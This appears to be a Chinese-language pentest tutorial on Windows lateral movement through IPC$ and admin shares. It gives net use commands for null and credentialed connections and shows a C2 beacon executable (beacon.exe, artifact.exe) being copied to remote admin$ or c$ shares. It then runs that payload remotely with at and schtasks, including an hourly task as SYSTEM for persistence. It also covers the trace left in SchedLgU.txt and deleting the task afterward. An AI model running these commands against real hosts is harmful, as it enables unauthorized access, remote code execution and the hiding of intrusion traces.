IPC$(Internet Process Connection)
是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,也就是两个进程之间可以利用它产生数据交互,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
也可以利用IPC$
,于目标主机建立一个连接,用来获取目标主机的信息
IPC$在同一时间内,两个IP之间只允许建立一个连接
系统安装后大概率都对各个盘符(C$,D$等)和系统目录C:\Windows
(Admin$)开启默认共享、不过这些目录是只对管理员开放权限
如下图所示,我分别用管理员账户和在管理员组的大聪明
同样利用IPC$连接上传文件,可以看到只能管理员上传成功了,而大聪明却没有
==注意==
IPC$默认大概率会禁用空密码的用户进行连接,并且目前的windows系统在安装的时候都会默认禁用Administrator
用户,而是创建一个普通用户并把它加到管理组内
139或445端口开启:
如果目标主机没有开放139
或445
端口,我们去使用IPC$
连接的话,会提示找不到网络名。
SMB协议(445端口):这个不用多说了吧,windows文件打印共享服务用的就是这个服务,之前的永恒之蓝就是利用的这个端口,而且平时我想用pad看一些电影的时候,都是先会通过电脑下载下来,然后开个文件共享,然后pad去访问电脑的445端口就可以了
NETBios(139端口):NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API)
在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现
这里先堆一些命令,简单看一下就好,有用到的时候回头再来看
#建立空连接 net use \\127.0.0.1\ipc$ "" /user:"" #建立完整的用户名,密码连接 net use \\127.0.0.1\ipc$ "password" /user:"username" #删除IPC$连接 net use \\127.0.0.1\ipc$ /del #映射路径 (将对方的c盘映射为自己的z盘,其他盘类推) net use z: \\127.0.0.1\c$ "密码" /user:"用户名" #访问/删除路径 net use z: \\127.0.0.1\c$ #直接访问 net use c: /del #删除映射的c盘 net use * /del #删除全部,会有提示要求按y确认 #域中相关命令 net use\\去连接的IP地址\ipc$ "域成员密码" /user:域名\域成员账号 net use\\192.168.100.1\ipc$ "admin123.." /user:momaek.com\win2003 dir \\momaek.com\c$ copy test.exe \\momaek.com\c$ net use \\192.168.100.1\ipc$ /del net share #查看自己的共享 net view \\IP #查看target-IP的共享 netstat -A IP #获取target-IP的端口列表 netstat -ano | findstr "port" #查看端口号对应的PID tasklist | findstr "PID" #查看进程号对应的程序
上面的第一个命令就是建立空连接,就代表你不需要知道账号密码随便就可以和对方主机建立一个IPC$的连接,but权限很低,对于现在的系统可以说毛用没有,在Windows2003以后,空连接什么权限都没有,有些主机的 Administrator 管理员的密码为空,那么我们可以尝试连接,但是在文章开头也说过现在的大部分系统Administrator
账户都是禁用的,就算没禁用,没密码,但是默认的服务器配置也会阻止空密码的连接。
这里在win2000里面还能查看个时间,别的没测试
在win7里面时间都看不了
这里主要目标用户还管理员或者管理员组内用户,普通用户的权限只能看时间
#构建连接 C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" #上传c2马 C:\>copy test.exe \\127.0.0.1\admin$ #查看时间 C:\>net time \\127.0.0.1 #定时任务方式运行该程序 C:\>at \\127.0.0.1 11:05 test.exe
dir \\192.168.52.130\c$
net use k: \\192.168.52.130\c$ /u:"administrator" "123456"
tasklist /S 192.168.52.130 /U administrator -P 123456
at \\192.168.135.5 13:20:00 cmd.exe /c "c:\beacon.exe"
尴尬,不过没有关系,可以用schtasks命令
Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,而转为用schtasks命令。schtasks命令比 at 命令更灵活。在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt
schtasks /create
创建计划任务,可加参数如下
/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT /tn 计划任务名称,后续查询、修改、删除、执行时使用 /tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。 /ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务 /rp 运行任务的用户账户密码 /mo 指定任务在计划类型中的运行间隔 /d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。 /m 指定任务在某个月运行,只适用于MONTHLY类型。 /i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。 /st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。 /ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE /et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。 /du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。 /k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。 /it 只在用户登录时运行 /z 在任务计划完成后删除任务计划 /f 在创建任务时如果任务已存在不显示警告 /RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。 /F 如果指定的任务已经存在,则强制创建任务并抑制警告。 当使用了/sc参数为MINUTE、HOURLY、DAILY、WEEKLY时,我们需要指定/mo运行的间隔时间 MINUTE: 1 到 1439 分钟。 HOURLY: 1 - 23 小时。 DAILY: 1 到 365 天。 WEEKLY: 1 到 52 周。 ONCE: ONSTART: ONLOGON: ONIDLE: MONTHLY: 1 到 12,或 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。 ONEVENT: XPath 事件查询字符串。
具体演示一下
先将exe复制过去
看下时间
然后可以创建定时任务了
schtasks /create /s 192.168.52.130 /u administrator /p 123456 /tn test_crow /tr c:/artifact.exe /sc once /st 15:29 #/s 目标 /u 用户名 /p 密码 /tn 计划任务名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间
然后我们可以查下该计划任务
schtasks /query /s 192.168.52.130 /u administrator /p 123456 /tn test_crow
成功上线
==注意:==
schtasks
会在系统中留痕,C:\Windows\Tasks\SchedLgU.txt
关于上述的操作我们大多都可以在创建任务的时候通过参数设置,例如
在目标主机上创建一个名为test_crow的计划任务,启动程序为c:/beacon.exe ,启动权限为system,启动时间为每隔一小时启动一次 schtasks /create /s 192.168.52.130 /u administrator /p 123456 /tn test_crow /sc HOURLY /mo 1 /tr c:/test.exe /ru system /f 其他启动时间参数: /sc onlogon 用户登录时启动 /sc onstart 系统启动时启动 /sc onidle 系统空闲时启动 此处参考:https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw
同样我们如果实战中利用完最好删除这个计划任务
schtasks /delete /s 192.168.52.130 /u administrator /p 123456 /tn test_crow #删除任务计划
不知道会不会有人问这个问题?
参考:
https://www.cnblogs.com/bmjoker/p/10355934.html